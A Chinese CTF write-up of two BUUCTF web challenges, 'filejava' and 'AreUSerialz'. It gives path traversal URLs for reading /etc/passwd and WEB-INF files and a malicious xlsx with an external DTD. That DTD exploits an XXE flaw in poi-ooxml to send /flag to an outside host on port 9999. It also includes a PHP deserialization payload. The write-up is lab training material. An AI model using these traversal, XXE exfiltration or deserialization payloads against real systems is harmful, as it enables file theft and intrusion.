BUUCTF WEB 4 – 网鼎杯 2020 青龙组 – filejava、AreUSerialz
filejava
打开题目后,随后上传了文件,发现可以上传php文件。
但是目录做了解析限制,不能进行php解析。
看到查看上传文件的链接处有filename
参数,测试文件任意读取漏洞。
尝试读取,http://98092d3c-859f-4a2e-8a56-a5d60af6d2df.node3.buuoj.cn/DownloadServlet?filename=../../../../../../../etc/passwd 发现可以读到内容
尝试读取web.xml文件,http://98092d3c-859f-4a2e-8a56-a5d60af6d2df.node3.buuoj.cn/DownloadServlet?filename=../../../../WEB-INF/web.xml
读取web.xml文件成功,可以看到本题目加载了三个servlet,读取这三个servlet的class文件。
http://98092d3c-859f-4a2e-8a56-a5d60af6d2df.node3.buuoj.cn/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
http://98092d3c-859f-4a2e-8a56-a5d60af6d2df.node3.buuoj.cn/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
http://98092d3c-859f-4a2e-8a56-a5d60af6d2df.node3.buuoj.cn/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
使用jd-gui进行反编译。给出存在漏洞的UploadServlet的问题。
import cn.abc.servlet.UploadServlet;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import java.util.UUID;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileItemFactory;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;
public class UploadServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String savePath = getServletContext().getRealPath("/WEB-INF/upload");
String tempPath = getServletContext().getRealPath("/WEB-INF/temp");
File tempFile = new File(tempPath);
if (!tempFile.exists())
tempFile.mkdir();
String message = "";
try {
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(102400);
factory.setRepository(tempFile);
ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
upload.setHeaderEncoding("UTF-8");
upload.setFileSizeMax(1048576L);
upload.setSizeMax(10485760L);
if (!ServletFileUpload.isMultipartContent(request))
return;
List<FileItem> list = upload.parseRequest(request);
for (FileItem fileItem : list) {
if (fileItem.isFormField()) {
String name = fileItem.getFieldName();
String str = fileItem.getString("UTF-8");
continue;
}
String filename = fileItem.getName();
if (filename == null || filename.trim().equals(""))
continue;
String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
InputStream in = fileItem.getInputStream();
// 当文件为excel-xxxxx.xlsx的时候,读取excel文件并打印行数,这里用的是poi-ooxml-3.10,存在xxe漏洞
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
String saveFilename = makeFileName(filename);
request.setAttribute("saveFilename", saveFilename);
request.setAttribute("filename", filename);
String realSavePath = makePath(saveFilename, savePath);
FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);
byte[] buffer = new byte[1024];
int len = 0;
while ((len = in.read(buffer)) > 0)
out.write(buffer, 0, len);
in.close();
out.close();
message = ";
}
} catch (FileUploadException e) {
e.printStackTrace();
}
request.setAttribute("message", message);
request.getRequestDispatcher("/ListFileServlet").forward((ServletRequest)request, (ServletResponse)response);
}
private String makeFileName(String filename) {
return UUID.randomUUID().toString() + "_" + filename;
}
private String makePath(String filename, String savePath) {
int hashCode = filename.hashCode();
int dir1 = hashCode & 0xF;
int dir2 = (hashCode & 0xF0) >> 4;
String dir = savePath + "/" + dir1 + "/" + dir2;
File file = new File(dir);
if (!file.exists())
file.mkdirs();
return dir;
}
}
这里提出有问题的代码
// 当文件为excel-xxxxx.xlsx的时候,读取excel文件并打印行数,这里用的是poi-ooxml-3.10,存在xxe漏洞
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
看着这一段,后面就简单了,只要利用xxe漏洞将flag读出来就行了,网鼎杯的flag都在根目录下,所有读取文件/flag。
利用此漏洞首先需要制作一个恶意xlsx,新建一个xlsx excel-xxxx1.xlsx
,使用压缩工具打开这个xlsx,修改其中的[Content_Types].xml
。
由于使用的buuctf的环境,new出的docker实例不能访问外网,这里使用小号开一台内网的虚机,虚机IP174.1.166.236
。
所以将[Content_Types].xml
文件修改为
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://174.1.166.236/xxx.dtd">
%remote;%int;%send;
]>
<root>&send;</root>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
由于此xml调用了外部实体xxx.dtd,需要在虚机IP174.1.166.236
上部署xxx.dtd文件,
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.1.166.236:9999/%file;'>">
注意dtd文件中%
没有写错,由于send最终将flag文件内容发送到了虚机的9999端口上,这里,给虚机监听9999端口。
上传恶意excel文件,可以看到虚机9999端口监听到了flag内容。
flag{f4ae38df-6a6b-410b-9952-1c79e7f0b696}
AreUSerialz
进入题目后给出了源码,如下。
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
读源码后可以发现,题目获取一个参数str
,如果符合规则函数is_valid
,则进行反序列化操作,所以题目考点就是两个,一个是绕过is_valid
验证方法,一个是利用反序列化执行命令或读取文件获得flag。
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
is_valid
方法要求输入内容的ascii码值大于32小于125,否则返回false,32-125包含了所有的可见字符,这点很容易就能实现。
在看反序列化方法
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
首先对比了op字符,如果为2,则op改为为1,再执行process
方法。
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
process
方法在op等于2时,读取filename
文件的内容并输出。这里还考察了===
和==
的区别,一个是强类型比较,一个是弱类型比较。
从下图可以看一下===
和==
的区别。
现在已经明白了逻辑,可以写出一个对象生成序列化内容。
<?php
class FileHandler {
public $op;
public $filename;
public $content;
}
$file = new FileHandler;
$file -> op = 2;
$file -> filename = "flag.php";
$file -> content = "";
echo serialize($file);
?>
生成内容
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
放入链接访问 http://f38116ac-a74e-40af-a414-fe6a907cbecf.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:0:%22%22;} 获得flag
flag{14a681cc-1539-47cf-8c55-fe035cedda02}
2330547481 加个好友呗,我最后有点问题想问你一下,谢谢